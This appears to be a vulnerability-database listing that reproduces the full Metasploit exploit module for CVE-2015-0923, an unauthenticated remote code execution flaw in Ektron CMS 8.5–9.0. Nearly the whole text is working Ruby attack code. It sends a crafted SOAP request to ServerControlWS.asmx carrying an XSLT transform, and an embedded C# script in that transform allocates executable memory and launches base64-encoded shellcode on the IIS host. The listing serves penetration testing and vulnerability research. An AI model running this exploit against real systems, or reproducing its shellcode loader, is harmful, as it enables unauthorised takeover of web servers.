Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution

2016-10-10T05:21:45
ID MSF:EXPLOIT/WINDOWS/HTTP/EKTRON_XSLT_EXEC_WS
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have vulnerabilities in various operations within the ServerControlWS.asmx web services. These vulnerabilities allow for RCE without authentication and execute in the context of IIS on the remote system.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
      'Description'    =&gt; %q{ Ektron 8.5, 8.7 &lt;= sp1, 9.0 &lt; sp1 have
vulnerabilities in various operations within the ServerControlWS.asmx
web services. These vulnerabilities allow for RCE without authentication and
execute in the context of IIS on the remote system.
      },
      'Author'         =&gt; [
        'catatonicprime'
      ],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt;
        [
          [ 'CVE', '2015-0923' ],
          [ 'US-CERT-VU', '377644' ],
          [ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
        ],
      'Payload'        =&gt;
        {
          'Space'           =&gt; 2048,
          'StackAdjustment' =&gt; -3500
        },
      'Platform'       =&gt; 'win',
      'Privileged'     =&gt; true,
      'Targets'        =&gt;
        [
          ['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' =&gt; [ ARCH_X64, ARCH_X86 ] }]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Feb 05 2015'
    ))

    register_options(
      [
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
        OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
        OptEnum.new('TARGETOP',
          [
            true,
            'The vulnerable web service operation to exploit',
            'ContentBlockEx',
              [
                'ContentBlockEx',
                'GetBookmarkString',
                'GetContentFlaggingString',
                'GetContentRatingString',
                'GetMessagingString'
              ]
          ])
      ])
  end


  def vulnerable_param
    return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
    'xslt'
  end

  def required_params
    return '' if datastore['TARGETOP'] == 'ContentBlockEx'
    '&lt;showmode/&gt;'
  end

  def target_operation
    datastore['TARGETOP']
  end

  def prologue
    &lt;&lt;-XSLT
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"&gt;
  &lt;soap:Body&gt;
    &lt;#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice"&gt;
      #{required_params}
      &lt;#{vulnerable_param}&gt;
        &lt;![CDATA[
        &lt;xsl:transform version="2.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace"&gt;
          &lt;msxsl:script language="C#" implements-prefix="user"&gt;
XSLT
  end

  def epilogue
    &lt;&lt;-XSLT
          &lt;/msxsl:script&gt;
          &lt;xsl:template match="/"&gt;
            &lt;xsl:value-of select="user:xml()"/&gt;
          &lt;/xsl:template&gt;
        &lt;/xsl:transform&gt;
        ]]&gt;
      &lt;/#{vulnerable_param}&gt;
    &lt;/#{target_operation}&gt;
  &lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;
XSLT
  end

  def check

    fingerprint = rand_text_alpha(5 + rand(5))
    xslt_data = &lt;&lt;-XSLT
#{prologue}
            public string xml() {
              return "#{fingerprint}";
            }
#{epilogue}
XSLT

    res = send_request_cgi(
      {
        'uri'     =&gt; "#{uri_path}WorkArea/ServerControlWS.asmx",
        'version' =&gt; '1.1',
        'method'  =&gt; 'POST',
        'ctype'   =&gt; "text/xml; charset=UTF-8",
        'headers' =&gt; {
          "Referer" =&gt; build_referer
        },
        'data' =&gt;  xslt_data
      })

    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def uri_path
    uri_path = target_uri.path
    uri_path &lt;&lt; "/" if uri_path[-1, 1] != "/"
    uri_path
  end

  def build_referer
    if datastore['SSL']
      schema = "https://"
    else
      schema = "http://"
    end

    referer = schema
    referer &lt;&lt; rhost
    referer &lt;&lt; ":#{rport}"
    referer &lt;&lt; uri_path
    referer
  end

  def exploit

    print_status("Generating the EXE Payload and the XSLT...")
    fingerprint = rand_text_alpha(5 + rand(5))

    xslt_data = &lt;&lt;-XSLT
#{prologue}
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

            [System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

            [System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
            private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

            public string xml()
            {
              string shellcode64 = @&quot;#{Rex::Text.encode_base64(payload.encoded)}&quot;;
              byte[] shellcode = System.Convert.FromBase64String(shellcode64);
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
              IntPtr hThread = IntPtr.Zero;
              IntPtr pinfo = IntPtr.Zero;
              UInt32 threadId = 0;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              return &quot;#{fingerprint}&quot;;
            }
#{epilogue}
XSLT

    print_status("Trying to run the xslt transformation...")
    res = send_request_cgi(
      {
        'uri'     =&gt; "#{uri_path}WorkArea/ServerControlWS.asmx",
        'version' =&gt; '1.1',
        'method'  =&gt; 'POST',
        'ctype'   =&gt; "text/xml; charset=UTF-8",
        'headers' =&gt; {
          "Referer" =&gt; build_referer
        },
        'data' =&gt; xslt_data
      })
    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      print_good("Exploitation was successful")
    else
      fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
    end

  end
end